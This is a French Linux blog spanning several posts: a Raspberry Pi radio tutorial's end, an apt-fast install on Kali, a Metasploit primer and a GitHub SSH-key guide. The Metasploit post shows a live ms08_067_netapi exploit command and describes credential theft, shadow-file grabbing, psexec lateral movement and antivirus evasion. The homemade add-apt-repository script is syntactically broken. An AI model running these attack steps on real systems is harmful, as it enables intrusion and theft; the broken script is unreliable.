Enregistrez et quitter le fichier dans /etc/init.d en pressant Crtl+X puis répondez oui (si vous utilisez nano). Ensuite, nous allons rendre le fichier exécutable et faire pour que notre script radio soit exécuté au démarrage. voici comment procéder :

# chmod 755 radio
# update-rc.d radio defaults

08 ) Raspi-config :

Toujours dans un terminal connecté en tant que root, exécutez la commande raspi-config pour modifiez le comportement de votre Pi au démarrage.
Nous ne souhaitons pas charger le bureau – le terminal nous suffit, le projet ne nécessite pas d’écran à terme.
Redémarrez ensuite votre Pi et observez la sortie à l’écran lors du démarrage.

09) Premier test :

Après  le démarrage du Pi, pressez l’un des boutons de la planche de montage. Sous quelque secondes, vous devriez entendre du son sur le haut-parleur que vous avez branché à la prise casque 3.5 mm.
Et voilà : vous disposez à présent d’une radio Internet sans fil. Vous pouvez ajouter une fonction muet avec amixer ainsi qu’un autre bouton pressoir. Ou même un écran LCD pour afficher le nom des stations.

f7dakhmhgh6k4gp-medium

Voici 2 sites pour vous procurer tout type de matériaux pour réaliser ce projets et tant d’autres :
=> Kubii
=> Adafruit

Remerciement à Sébastien Langlois.

apt-fast

« APT-FAST », plus qu’une mission. (Kali Linux.)

Bonjour à tous.

Je vous présente aujourd’hui la commande « apt-fast« . Une commande qui peut être associé à l’outil « apt-get » qui est utilisée pour installer et supprimer des paquets d’application sur des distributions Linux comme Debian (Ubuntu,Slackware,ect..).Vous pouvez dorénavant  utiliser « apt update » pour mettre à jour les paquets Linux existants ou « apt upgrade » pour installer les nouveaux.

apt update && upgrade.jpg

Une chose qui dégrade l’expérience de l’outil « apt-get » est que les téléchargements sont lents et longs. C’est pourquoi je pense, un homme nommé Matt Pernell (ilikenw) s’est penché sur la question et à trouvé la réponse à ce problème. Son nouveau script appelé « apt-fast » augmente la vitesse de téléchargement des paquets. Pour cela, « apt-fast » utilise plusieurs connexions pour télécharger le même package.Ce qui fait de cet outil, un outil similaire à divers gestionnaires de téléchargement sous Windows comme « Internet Download Manager », par exemple.

internet-download-manager-566-1.jpg

L’utilitaire « apt-fast » est un script-shell de type wrapper qui utilise le gestionnaire de téléchargement aria2c pour activer plusieurs connexions lors du processus de téléchargement des paquets.
Donc en gros, sous « fast« ; il y a le « get » malgré tout, car il utilise toujours les outils « apt-get » et aptitude.

Installation de l’outil sur votre distribution Linux :

Les commandes suivantes permettent l’installation de l’outil « apt-fast 1.8 » sur une distribution Kali 2016.2. Mais il fonctionne également sur des distributions Linux basées sur Debian comme Ubuntu et Linux Mint qui est elle-même basée sur Ubuntu (au cas où vous ne le seriez pas *wink*)

$ sudo add-apt-repository ppa:saiarcot895/myppa

sudo-add-apt-1

Si comme moi, vous utilisez Kali 2016.2, vous avez certainement remarqué que pas mal de changement à eu lieu. Et « apt-get » fait parti de ses changements. Nous voilà donc obligé de faire un petit détour afin de régler ce problème de commande « add-apt-repository » qui ne fonctionne pas, pu comme avant.

Ajouter PPA repository avec « add-apt-repository » sous Kali Linux :

Un peu d’histoire avant tout…..Une archive de paquetages personnels (PPA) est un logiciel référentiel spécial pour télécharger, construire et publier des paquets depuis une source de dépôt APT par Launchpad ou une application similaire. Alors que le terme est utilisé exclusivement pour la distribution Ubuntu, l’hôte Canonical de Launchpad envisage l’adoption au-delà de la communauté Ubuntu.

Cette commande, permet aux utilisateurs d’ajouter et d’utiliser des archives référentiels « PPA » par une application nommée « add-apt-repository« . Toutefois, Kali Linux ne l’a pas inclus dans sa liste de paquets par défaut. Avec Kali, car il s’agit d’une application spéciale et que certaines modifications ont été faites pour le faire fonctionner au mieux dans le domaine de test de pénétration, il y a une chance que, en ajoutant des dépôts PPA non testés et non pris en charge par la distribution, vous risquerez de briser votre installation.

Cependant, « PPA » est un outil puissant à avoir malgré tout sur sa distribution et un grand nombre d’applications spécifiques qui ne sont pas disponibles dans les dépôts sont disponibles via les dépôts « PPA« . Les utilisateurs devraient prendre des précautions supplémentaires avant d’ajouter des dépôts inconnus et aléatoires bien sur car il pourrait très bien causer des problèmes plus ou moins grave sur votre installation. Maintenant une question se pose ? Comment savoir que le propriétaire du « PPA » n’a pas ajouté un code malveillant dans son dépôt ? Généralement, vous ne pouvez pas. Alors, comment savez-vous que votre système ne vous espionne pas ? Pareil, à moins d’analyser chaque ligne de code de votre noyau, vous ne pouvez pas. Et puis bon, peu importe, car la plupart des FAI sont assez heureux de remettre (vendre ?) vos activité en ligne à la NSA de toute façon …Je pourrais continuer encore et encore, mais ne perdons pas plus de temps là dessus et  revenons à notre sujet qui est l’ajout de la commande « add -apt-repository « .. donc y retourne et on installe avec les commandes suivante :

# apt-get install python-software-properties
non plus….. mais :
# apt-get install software-properties-common
# apt-get install apt-file
# apt-file update
# apt list –upgradable
# apt update
(On se croirez pas sur un le terminal d’un mobile Android ?)
# apt-file search add-apt-repository
votre sortie devrait ressembler à ceci :
python-software-properties: /usr/bin/add-apt-repository
python-software-properties: /usr/share/man/man1/add-apt-repository.1.gz

apt-install-pythonapt-install-softwareapt-get-install-apt-fileapt-file-updateapt-list-upgradableapt-file-search-apt-add

L’utilisation de notre propre code pour « add-apt-repository » :

L’application « add-apt-repository » est par défaut située dans le dossier « /usr/bin/add-apt-repository » . C’est comme ça que ça fonctionne pour Debian en tout cas. Donc, si vous utilisez Kali, il y a des chances pour qu’il ne fonctionne pas. C’est pour ça qu’il faut appliquer un correctif. La solution est « simplement » d’imiter le code source de « Ubuntu Oneiric » pour rendre fonctionnel « add-apt-repository« .

# cd /usr/sbin
# nano add-apt-repository
ajouter le code suivant et enregistrez le fichier :

#!/bin/bash
if [ $# -eq 1 ]
NM=`uname -a && date`
NAME=`echo $NM | md5sum | cut -f1 -d" "`
then
  ppa_name=`echo "$1" | cut -d":" -f2 -s`
  if [ -z "$ppa_name" ]
  then
    echo "PPA name not found"
    echo "Utility to add PPA repositories in your debian machine"
    echo "$0 ppa:user/ppa-name"
  else
    echo "$ppa_name"
    echo "deb http://ppa.launchpad.net/$ppa_name/ubuntu oneiric main" >> /etc/apt/sources.list
    apt-get update >> /dev/null 2> /tmp/${NAME}_apt_add_key.txt
    key=`cat /tmp/${NAME}_apt_add_key.txt | cut -d":" -f6 | cut -d" " -f3`
    apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $key
    rm -rf /tmp/${NAME}_apt_add_key.txt
  fi
else
  echo "Utility to add PPA repositories in your debian machine"
  echo "$0 ppa:user/ppa-name"
fi

nano-apt-addscript-apt-add

NOTE :
Dans la ligne ;
echo "deb http://ppa.launchpad.net/$ppa_name/ubuntu oneiric main" >> /etc/apt/sources.list
J’ai utilisé Oneiric mais vous pouvez essayer d’utiliser Lucid, Raring ou Saucy selon votre choix.

Ensuite nous rendons notre « add-apt-repository » exécutable avec les commandes « chmod » et « chown » :

# chmod o+x /usr/sbin/add-apt-repository
# chown root:root /usr/sbin/add-apt-repository
# ls -ltrah add-apt-repository

chmod-chownls-ltrah

Ajouter PPA repository via add-apt-repository dans Kali Linux :

Maintenant que nous avons ajouté le code correct, nous pouvons utiliser add-apt-repository pour ajouter un dépôt référentiel PPA.
J’ai essayé ce qui suit pour ajouter des thèmes et des icônes personnalisées dans Kali Linux.

# cd /usr/sbin/
# ./add-apt-repository ppa:noobslab/themes
(et ça fonctionne ! \o/, enfin je croyais….)
# ./add-apt-repository ppa:alecive/antigone
mettons notre dépôt à jour (à ne pas oublier de faire après chaque ajout de PPA)
# apt-get update

test

Installation de apt-fast :

$ cd /usr/sbin/
$ sudo ./add-apt-repository ppa:saiarcot895/myppa
$ sudo apt-get update
$ sudo apt-get -y install apt-fast

 add-apt-apt-fastapt-get-install-apt-file

Normalement ça devrait fonctionner mais si comme moi, ça fonctionne toujours pas (grrrr) car le paquet est introuvable (encore), je vous conseil cette méthode qui elle, fonctionne (normalement) :

Rendez vous => ici
télécharger la version apt-fast_1.8.2-1~precise1_amd64.deb
une fois téléchargé, tapé :

# dpkg -i apt-fast_1.2.2_1.deb

msg-erreur-aria2

Et ça fonctionne toujours pas ! Sauf que là, nous avons la raison et elle est évidente en soit. Au début de l’article je vous ai dit que apt-fast fonctionné sous aria2….. donc forcément, il faut que aria2 soit installé sur votre système.
Donc nous allons installer aria2, créer un fichier de configuration et ajouter une ligne de code afin de « relier »  apt-fast à axel et là normalement et enfin je vous avoue, ça devrait être fonctionner.
Voyons ça :

# apt-get install aria2
# nano /etc/apt-fast.conf
cat "${DLLIST}" | xargs -l1 axel -n "${_MAXNUM}" -a
# apt-fast -y install alien

apt-install-aria2
apt-fast 2.jpg
apt-fast-3apt-fast-4apt-fast-5apt-fast-7

Et ça y’est, ça fonctionne ! Mission réussi les amis. *souris*
La chose fût pénible certes!Mais c’est ce qui la rend intéressant n’est-ce pas ? 

Merci d’avoir pris le temps de m’avoir lu et à bientôt….

 

hack-like-pro-metasploit-for-aspiring-hacker-part-1-primer-overview-1280x600

[1] Metasploit – Prise en main.

Pour tout pentesteur, Metasploit est incontournable. Grâce à ce framework, les professionnels comme les scripts-kiddies ont accès à une large base de données de codes d’exploitation relativement fiables, clef en main. Il suffit de quelques lignes de commandes, voire de quelques clics si on utilise Armitage, pour exploiter des vulnérabilités parfois critiques. Même pas besoin de comprendre ! (j’espère que vous faites pas parti de ces personnes là…bref). Cet article ne se concentrera absolument pas sur cet aspect et tentera plutôt de vous démontrer qu’il s’agit surtout d’un merveilleux outil de gestion bien plus efficace qu’Excel dans le domaine du test d’intrusion.

1] INTRODUCTION

1.1) Historique du projet :

En 2003, H.D Moore crée Metasploit. L’objectif du projet est de fournir une collection d’outils réseau portable. Le projet est donc développé dans un langage script de l’époque : Perl. Avec du temps, ce framework évolue considérablement et devient un véritable environnement de développement et d’exploitation de vulnérabilités. En 2007, le projet est totalement réimplémenté en Ruby, aussi étrange que cela puisse paraître, afin de bénéficier d’un meilleur support du multithreading et une meilleur portabilité, notamment sur Windows. En 2009, le projet est acquis par Rapid7, qui propose, en plus de la version open-source , deux versions commerciales : et .

1.2) Principales fonctionnalités :

Metasploit est annoncé comme une plateforme de pentest permettant de découvrir, valider et exploiter des failles de sécurité. De plus, ce projet propose une interface simplifié à l’extrême qui permet même aux plus novices d’exploiter des vulnérabilités en quelques commandes sur un bon vieux système Windows XP (qui, malgré les dangers, reste encore très présent un peut partout dans certaines structure publique comme privé. Mais pas besoin de vous dire mais je me le dois quand même de vous le rappeler, ceci est illégal).

msf> use exploit/windows/smb/ms08_067_netapi
msf> exploit(08_067_netapi) > set RHOST 192.168.1.1.61
RHOST => 192.168.1.61
msf exploit(08_067_netapi)> run

ms08_067_netapi.jpg

Encore plus facile via l’interface web ou le client Armitage ! Mais Metasploit n’est pas qu’une bibliothèque d’exploits bien packagés. Le framework propose de plus en plus de fonctionnalités facilitant la vie de l’auditeur qui n’a que quelques jours pour faire un test d’intrusion le plus exhaustif possible et rédiger un rapport de qualité débordant de recommandations judicieuses et réalistes. Parmi ces fonctionnalités, nous avons notamment :

=> plusieurs scanners de ports comme Nmap. Dommage qu’Unicornscan ne soit pas présent concernant l’UDP), mais sait-on jamais …. ;

=> de nombreux modules « auxiliaires » permettant de mener des attaques de bruteforce, de reconnaissance, ect . ;

=> des modules de post-exploitation. ;

=> la possibilité d’utiliser une base de données pour stocker et manipuler les données obtenues lors des tests.

Sans oublier qu’il y a de jolie ASCII-arts affichés au lancement de la console, et ça c’est important aussi car très agréable avant de commencer une exploitation .

metasploit -msfconsole.jpg

Plus sérieusement, l’utilisation et le développement de modules d’exploitation en tant que tels sont déjà largement documentés. C’est pour cela que nous allons nous intéresser principalement aux autres cas d’usage de Metasploit : gestion des informations et post-exploitation.

2] MISE EN ROUTE

2.1) Adopte moi ! Je suis puissant :

Récupérer le framework depuis le dépôt de développement a été pendant longtemps la méthode d’installation par défaut de Metasploit. Il semble que la méthode officielle est dorénavant de télécharger un installeur et d’exécuter sur sa machine. C’est tout à fait suffisant pour une utilisation ponctuelle, mais les professionnels en faisant un usage quotidien voudront intégrer leurs propres modules, étendre les dictionnaires de bruteforce présents par défaut, corriger les éventuels bugs rencontrés,ect…

Nous allons donc non seulement installer depuis le dépôt, mais dans notre propre « fork » du projet. Il est ainsi possible d’obtenir et de fusionner les ajouts depuis le dépôt officiel tout en conservant les modifications apportés par nos soins. Rapid 7 fournit d’ailleurs une documentation très complète pour les personnes souhaitant aller plus loin et proposer du code pour intégration dans le projet [MSFDEV].

Pour faire court, on crée un nouveau dépôt via le service de son choix (GitHub, Gitlab, Bitbucket, self-hosting…), puis on crée une branche upstream pointant vers les dépôts officiels.

Mais d’abord nous allons associé notre compte Github (pour ma part) à ma distribution :

# git config –global user.name « LinuxFrench »
# git config –global user.mail « linuxfrench@gmail.com »

github-1

Puis revenons à notre création de dépôt et de notre branche comme ceci :

# git clone git@serveur:port/monrepo
# git remote add upstream git@github.com:rapid7/metasploit-framework.git

github-2

On dispose alors de notre propre version de développement de Metasploit, tous nos changements peuvent être « commit » sur notre dépôt, et il est toujours possible d’obtenir les mises à jour de Rapid7 depuis la branche « officielle » (upstream).
La procédure de mise à jour est alors un simple merge git :

$ git pull
$ git fetch upstream
$ git merge upstream/master
$ git push origin master

Il est parfois utile également de lancer la commande msfupdate après cette opération pour automatiquement installer les « Ruby gems » manquantes. Et voilà ! (bien que tout ceci demande quand même une certaine maitrise de votre gestion de dépôt qui je vous avoue, je n’ai pas encore. C’est pour cela que je continuerais mes articles sur Github afin de le maitriser au mieux).

2.2) Configuration :

Afin de pouvoir exploiter les fonctions de Metasploit qui nous intéressent ici. il est indispensable de configurer le framework pour qu’il se connecte à une base de données. La première étape est d’installer un gestionnaire de base de données. PostreSQL est celui qui est recommandé par le projet Metasploit.

Sans rentrer dans les détails de l’installation de PostreSQL, qui sortent du cadre de cet article, la création de la base de données et d’un utilisateur dédié peut se résumer à :

# su postgre
$ createuser msf_user -P
$ createdb –owner=msf_user msf_database

voici les commandes si vous avez installé Metasploit sur une distribution autre que basé sur la sécurité informatique. Je vous dis ça car si vous utilisez une distribution telle que Kali, il suffit juste de taper ceci pour configurer et activer votre base de données pour Metasploit :

# service postgresql start
# msfdb init
# msfconsole
msf> db_status
[*] postgresql connected to msf3

Et voilà ! *wink*

Mais revenons à la première méthode si vous le vouez bien ? Car il est alors facile de se connecter à la base de données depuis « msfconsole« , soit manuellement à l’aide de la console en spécifiant les informations nécessaires avec la commande « db_connect« , soit en remplissant les champs ad-hoc du fichier <répertoire d'installation de "Metasploit>/config/database.yml« .

On peut également noter que si un fichier « ~/.msf4/msfconsole.rc » est présent, il sera interprété à chaque lancement de « msfconsole« . le fichier est lu ligne par ligne et les commandes exécutées s’il s’agit de commandes valides dans la console Metasploit. Il peut être utile pour configurer son environnement de travail sous Metasploit. Par exemple :

# nano database.yml

setg PromptTimeFormat « %I:%H:%S »
setg PROMPT « %grn%T%clr%yel@clr%red%%H%clr   :   %L%clr   (s:%red%S%clr
j:%red%J%clr)  msf « 
setg VERBOSE true
[…]

Il est également possible d’insérer du code Ruby dans ce fichier, entre des balises adaptées.
Voici un exemple tout simple qui permet de journaliser toutes les commandes et leurs résultats au sein d’un fichiers datés :

[…]

run_single(« spool /home/linuxfrench/log/msf/ » + Time.new.strftime(« %Y%m%d_%H-%
M-%S ») + « _console.log »)

Cette simple ligne de configuration peut s’avérer très utile, notamment lorsque les découvertes s’accumulent et que l’on cherche le résultat d’un test particulier après 5 jours de tests d’intrusion interne …

Fichier de configuration de la base de données PostgreSql :

yml-1yml-2

3] UTILISATION DE LA BASE DE DONNÉES.

L’utilisation d’une base de données permet d’exploiter les fonctionnalités de Metasploit qui nous intéressent ici. Une fois la connexion effectué, comme expliqué plus haut, la commande db_status permet de s’assurer que tout fonctionne correctement.

Les workspaces permettent, comme leur nom l’indique, de créer un espace de travail dédié. Lors d’une campagne de tests d’intrusion, ce mécanisme permet principalement de créer un environnement compartimenté dans lequel ne seront stockés que les informations relatives aux tests en cours. Il est donc plutôt cohérent d’en créer un par mission ou par projet.

On crée un nouveau workspace avec la commande « workspace -a« . On change de workspace en spécifiant simplement son nom après la commande sans option particulière.

Une fois qu’on dispose d’un workspace, il est possible d’y importer les résultats de scan de nombreux outils tiers, notamment Nmap. Il suffit de réaliser ses scans avec l’option « -oA » (ou « -oX« ) puis d’utiliser la commande « db_import /.xml ou *.xml. En jouant un peu avec les options « min-host » et « max-host » de Nmap, il est d’ailleurs d’ailleurs possible de forcer Nmap à écrire régulièrement ses résultats dans le fichier et donc d’importer des résultats même partiels et de commencer à travailler dessus.

Dès lors que l’on a des données sur lesquelles travailler, on peut les exploiter grâce aux commandes suivantes :

=> hosts ;
=> services ;
=> creds ;
=> loot ;

hosts et services sont au cœur des fonctionnalités de « gestion » de Metasploit. Elles permettent d’interroger la base de données et de respectivement lister les machines et les services identifiés lors des tests. Ces commandes permettent de rapidement identifier la machine, le ou les services à cibler lors des tests. Elles sont également particulièrement utiles après la fin des tests, lors de la rédaction du rapport. Grâce à hosts on peut par exemple retrouver le ou les noms d’hôtes associés à une adresse et inversement, sous réserve d’avoir pensé à effectuer une résolution DNS inverse, à l’aide du module dns_reverse_lookup par exemple.

Afin d’exploiter plus facilement les résultats de scans avec services, il est fortement recommandé d’effectuer les scans  Nmap  avec l’option « -sV« . Les résultats seront plus détaillés. Nmap arrivant en général plutôt bien à sonder les services découverts afin de détecter protocoles, bannières, noms de services et parfois numéros de version. Cette commande accepte également une option « -R » qui permet d’automatiquement remplir le champ RHOSTS du module en cours d’utilisation avec le résultat de la requête. C’est extrêmement pratique pour automatiser les tests simples, tester les accès anonymes sur tous les services FTP du périmètre par exemple.

msf> service -u
msf> hosts

hostsservice-u

Les commandes creds et loot permettent quand à elles d’interroger la base de données afin de lister les informations obtenues grâce à des modules d’exploitation ou de post-exploitation. La première liste simplement toutes les formes « credentials » obtenues : identifiants, mots de passes, clefs SSH, hashes NTLM, ect …. (à ce stade, si je tape ses commandes et particulièrement la commande loot , je n’aurai quasi aucun résultat car pour commencer ses multiples articles sur Metasploit (Misc), j’ai tout repris depuis le début. Ou presque.). De nombreux modules de bruteforce supportent l’utilisation de tout ou partie des données stockés dans creds, ce qui permet de rapidement tester des informations d’authentification obtenues précédemment.

Même si il ne s’agit pas à proprement parler de données en base. Metasploit stocke en effet les informations obtenues à l’aide des modules de post-exploitation dans un dossier loot. Il s’agit en général des fichiers texte, facilement exploitables avec grep, qui se situent dans le dossier « ~/.msf4/loot« .

Loot indexe les données stockées sur le disque obtenues en post-exploitation, des fichiers de configurations ou des journaux (log) par exemple.

msf> creds
msf> loot

a
credsloot

[GREP]

Msfconsole intègre une commande grep interne , qui implémente les fonctionnalités les plus utilisés de la commande Unix homonyme.L’interpréteur de commandes de Metasploit ne permettant pas de combiner commandes internes, commandes shell et redirection (pipe, ect), la commande s’utilise en début de ligne de la manière suivante :

msf> grep [OPTIONS] pattern   commande

Cette implémentation de grep ne permet cependant pas de fournir un fichier de motif (option -F du grep Unix), qui est pourtant bien pratique pour recouper des résultats entre eux. Mais puisque vous avez votre propre « fork », vous allez pouvoir facilement patcher la fonction « cmd_grep » dans le code Ruby du framework *wink*

[4] OPÉRATIONS DE MASSE.

L’utilisation de la commande services à l’aide de l’option permettant d’automatiquement remplir le champ RHOSTS rend très précieux les nombres de modules de la catégorie « auxiliary ». en effet, là où Metasploit brille, ce n’est pas tant sur les codes d’exploitation de failles publiques, mais sur cette collection de scripts qui permettent de réaliser de nombreuses opérations rébarbatives de manière simple et au moins partiellement automatisée.

4.1) Modules auxiliaires incontournables :

Une fois les résultats de scan Nmap importés, nous pouvons dérouler nos scripts auxiliaires sur les service exposé. Parmi ceux-ci, les plus utilisés sont sans surprise ceux qui attaquent les mécanismes d’authentification; Lors d’un test d’intrusion interne, le nerf de la guerre ce sont les mots de passe. C’est grâce (ou à cause) de mots de passe particulièrement faibles, prédictibles ou massivement réutilisés sur de nombreux services que le pentesteur évoluera rapidement et sans trop de difficultés sur le réseau.

On peut donc mettre en tête de liste les modules tomcat_mgr_login et jboss_vulnscan qui mettront rapidement en évidence les principaux défauts  de configuration des serveurs applicatifs Tomcat et Jboss. Ces serveurs restent encore des vecteurs d’attaque prépondérants lors des tests internes…

Lors de ce type de tests, les modules smb_* se relèvent également bien utiles pour exploiter les environnement reposant sur Windows/Active Directory, tant pour effectuer des attaques de bruteforce, que pour identifier les utilisateurs présents sur les machines auditées. Les modules émulant le fonctionnement de psexec sont également bien pratiques. Ceux-ci restent en effet incontournables pour exploiter les identifiants dérobés et exécuter des commandes sur les machines Windows.

[PSEXEC]

Bien que les modules « psexec » de Metasploit fassent le job, ils sont aisément détectées par tout antivirus sérieux configuré pour bloquer la catégorie « outils de hacking ».

Les attaques par ce vecteur ne sont cependant pas liées à une faille, mais bien à une fonctionnalité de Windows. Ce sont les signatures des outils qui sont reconnues par les solutions antivirales. À partir de là, rien n’empêche d’implémenter son propre « psexec », avec la très bonne bibliothèque « Python Impacket » par exemple, ou directement en C/C++.

Un petit « wrapper » en Ruby pour avoir son propre module Metasploit et le tour est joué. En tout cas, ça fera l’affaire jusqu’au jour où les antivirus feront la détection comportementale (pour de vrai cette fois….)

Enfin, les modules permettant l’exploitation des services SSH, notamment ssh_login_pubkey, sont également bien souvent indispensables pour les déplacements latéraux sur le réseau.

Il ne s’agit pas là que d’une courte liste d’exemples mais il existe de nombreux autres modules auxiliaires qui permettent d’attaquer des services SNMP, des bases de données (Oracle, DB2, MySQL / MariaDB, ect.) et bien d’autres services exotiques. Certains modules auxiliaires permettent également de mettre en écoute des services minimalistes afin de mener des attaques réseau simplement, mais efficacement : SMB Relay, DHCP exhaustion, captures de handshakes,ect.) et enfin la catégorie « scanner » des modules auxiliaires permet de sonder de nombreux services à la recherche d’informations de version ou de failles de sécurité publiques.

4.2) Aller un peu plus loin :

Le framework Metasploit réimplémente nombre d’outils de post-exploitation communs. Ainsi, il existe des modules incognito, mimikatz qui viennent compléter les outils de post-exploitation plus classiques (tels hashdump ou enum_configs). Ces outils étant particulièrement bien documentés, nous ne nous attarderons pas dessus. Cependant, en complément des fonctionnalités déjà abordés dans cet article, deux modules présentent un intérêt certain lorsqu’il faut industrialiser un peu plus les tâches de post-exploitation.

Passwd-shadow-ssh-jacker [JACK] permet de facilement facilement récupérer les fichiers « shadow/passwd » des hôtes Unix en disposant d’un accès SSH. Utilisé en combinaison avec les données provenant de la base de données (creds), on peut ainsi obtenir de nouveaux identifiants, ouvrant potentiellement des accès à d’autres machines.

L’utilisation de ces modules de post-exploitation permet en général d’ouvrir une session « shell » ou meterpreter sur la machine vulnérable. Or il manque au sein de Metasploit un mécanisme permettant d’exploiter facilement ces sessions en masse. Le module pentest.rb développé par Carlos Perez [PENTEST] s’intègre dans le framework et l’étend afin de bénéficier de cette fonctionnalité, entre autres.

# cd /usr/share/metasploit-framework/plugins
# ls -a
msf > load pentest

a
pentest-rbpluginsplugins-sqlmap

Ce module permet en particulier d’exécuter tous les modules de la catégorie « discovery » sur les sessions courantes ou de lancer un module ou une commande spécifique sur plusieurs sessions.

Cet outil permet de gagner un temps non négligeable en réalisant en masse des opérations déroulés normalement automatiquement « à la main ». On est alors face à un dossier loot bien rempli, et le défi est alors non plus de trouver des données à exploiter, mais d’exploiter correctement une abondance de données.

[CONCLUSION]

Faire un article sur Metasploit sans parler de code d’exploitation pour MS08_67 ou Heardbleet, c’est possible ! Autant la plupart des exploits inclus dans Metasploit peuvent être retrouvés sous une forme ou une autre sur Internet, autant ses fonctionnalités de gestion des informations récoltés lors des tests d’intrusion sont irremplaçables.

La profusion d’outils auxiliaires permettent de réaliser des attaques simples, voire basiques, combiné à l’utilisation d’une base de données aisément manipulable font de cet outil la clef de tests d’intrusion internes réussis sans douleur (pour l’attaquant du moins).

Les seuls défaut qu’on pouvait trouvaient à Metasploit, c’était son manque de plugins pour les exploitation web à grande échelle mais le problème est résolu avec l’ajout depuis peu de temps du plugins Sqlmap et je pense que Patator ne devrait pas tarder (voir même si il est pas déjà téléchargeable.)

Voilà pour la première partie qui était basé sur la prise en main de ce framework avec une vue large des quelques outils et options qu’il propose.

[REMERCIEMENT]

Merci à vous lecteurs qui me donne l’envie d’alimenter ce blog dès que je le peut mais aussi à l’équipe Misc qui grâce à eux, me permet de réaliser ces articles en plus d’approfondir mes connaissances sur énormément de sujet. Un grand Merci à vous. Vraiment.

[RÉFÉRENCES]

=> Ruby
=> MSFDEV
=> PENTEST (retournez y souvent car de nouveaux plugins sont souvent ajoutés *wink*)
=> a href=http://sqlmap.org/>SQLMAP
=> PATATOR

Je vous dit à très vite pour un nouvel article ou pour la suite de celui-ci qui sera axé sur l’exploitation avec comme chapitre :

– L’écriture d’un exploit pour un plugin WordPress.
– De la preuve de concept au module Metasploit.
– L’émulateur HID Teensy & Meterpreter Metasploit en Powershell.

Ça met l’eau à la bouche n’est-ce pas ? à très vite alors ! Prenez soin de vous….

maxresdefault

Github (1) – Connexion SSH

GitHub (exploité sous le nom de GitHub, Inc.) est un service web d’hébergement et de gestion de développement de logiciels, utilisant le logiciel de gestion de versions Git. Ce site est développé en Ruby on Rails et Erlang par Chris Wanstrath, PJ Hyett et Tom Preston-Werner. GitHub propose des comptes professionnels payants, ainsi que des comptes gratuits pour les projets de logiciels libres. Le site assure également un contrôle d’accès et des fonctionnalités destinées à la collaboration comme le suivi des bugs, les demandes de fonctionnalités, la gestion de tâches et un wiki pour chaque projet.

Le nom GitHub est composé du mot « git » faisant référence à un système de contrôle de version open-source et le mot « hub » faisant référence au réseau social bâti autour du système Git.

Octocat est la mascotte de la marque. Dessiné dans un style Manga,il possède à la place des pattes des tentacules de céphalopode.


Vous comprendrez donc qu’à ce jour, Github est devenu un service incontournable dans le monde de l’Open-Source et des développeurs-en-tout-genre qui aiment partager ou simplement, avoir la fierté de pouvoir se faire un nom et d’être utile au système Linux via des petits à de très gros scripts bien utile.

Alors voilà, je me suis lancé car après avoir crée mon premier script écrit en bash qui permet de générer des mots de passe aléatoire (je vous mettrez le lien@ à la fin pour ceux que ça intéresse). Mon script fonctionnel, j’ai eu envie cette fois de le stocker et de le partager autrement que via un lien de téléchargement qui finira tôt ou tard par partir au oubliette. Github correspondait parfaitement à mes envies et besoins. Voilà comment je me suis tourné vers ce service.

Par contre, j’aurais pas pensé devoir faire des tutoriels dessus avant de me rendre compte que ce service était bien plus qu’un serveur de stockage. Le nombre de service qu’il propose le rend bien plus « compliqué » au premier abord en plus d’une configuration de dossier à mettre en place, plus la manipulation de quelques services (SSH par exemple) qui demande donc une certaine maitrise de cette plateforme. Après, je vous avoue que l’échec d’une simple vérification d’association de mon compte depuis mon terminal au serveur de Github via le service SSH, m’a mi un coup de pied au fesse à réaliser ce tutoriel. Je me le devais !
Je vous invite réellement à vous pencher sérieusement dessus si c’est pas déjà fait car bientôt (ce n’est que mon avis), il va devenir indissociable du logiciel libre, de l’Open-Source et donc, de Linux.

github-wallpaper-1.png

Commençons donc par régler ce problème de connexion SSH :

Lorsque vous testez votre connexion, vous devez vous authentifier. C’est à dire en utilisant votre mot de passe. Celui que vous avez choisi en créant votre clé SSH .
Mais là vous vous dites, mais quelle clé ?! Je sais …. et c’est pour ça que notre tentative de connexion ne fonctionne pas :

# ssh -T git@github.com

1

Apparemment, l’erreur nous vient d’une permission non autorisée. J’en conclue donc que mon compte n’a pas de clé SSH associé à mon compte Github. Il nous faut donc créer une clé qui sera associé à notre compte.

Générons cette clé avec la commande suivante :

# ssh-keygen -t rsa -b 4096 -C « votre_adresse_mail_Github »

Lorsque vous y êtes invité , appuyez sur « Entrez » pour valider le fichier dans lequel sera enregistrer la clé. Sachez que l’emplacement par défaut est le bon. Ensuite il vous sera demandé d’entrer votre clé (mot de passe de connexion).

2

Ensuite nous allons associé notre clé SSH au service ‘ssh-agent’ de cette façon :

# eval « $(ssh-agent -s) »

3

Maintenant, nous avons ajouté notre clé SSH au service ssh-agent. Par contre, si comme moi vous aviez déjà une clé SSH existante sur votre système, sachez qui est possible d’ajouter celle ci plutôt que de générer une nouvelle clé SSH. Pour ça, vous aurez besoin de remplacer le contenu du fichier ‘id_rsa’ avec la commande suivante :

# ssh-add ~/.ssh/id_rsa

4

Pour finir, nous allons ajouter notre nouvelle clé SSH à notre compte Github :

Pour que la clé soit associé correctement à notre compte Github, il nous faut ajouter notre clé SSH ‘RSA’ depuis les paramètres du site web de Github. Maintenant, si votre fichier qui contient votre clé SSH a un nom différent de l’exemple fourni (ça peut arriver selon la distribution Linux que vous utilisez ou alors, si vous travaillé avec Windows). Dans se cas, modifier le nom du fichier de façon à se qu’il correspond à votre configuration actuelle.

IMPORTANT : Lors de la copie de votre clé, surtout n’ajoutez pas de nouvelles lignes, espaces ou autres.

Voici la commande :

# xclip < ~/.ssh/id_rsa_pub
# cat ~/.ssh/id_rsa_pub

5
6-key.jpg

Copié l’ensemble du contenu de votre fichier ‘id_rsa_pub’ obtenu avec la commande ‘cat’ et rendez vous sur votre compte Github via le site web@.
Je pourrais vous détailler la marche à suivre avec des écrits mais je pense que les images parlent d’elles même et donc, je pense qu’y a pas besoin d’argumenter.

Voilà ce que vous devez faire sur votre compte Github depuis le site internet :

78-48-4-18-18-28-38-5

Voilà, nous avons fait tout ce qui avait à faire pour pouvoir associer et établir une connexion SSH avec notre compte Github . Vérifions :

# ssh -T git@github.com

9

Tache accompli avec succès. Et pour vous ?

Voici sinon mon premier script écrit en Bash pour terminal Linux/Unix (ou MacOS et Cygwin pour Windows.) Il s’agit d’un script qui génère des mots de passe.
=> auto-generate-pass

À très vite….

Print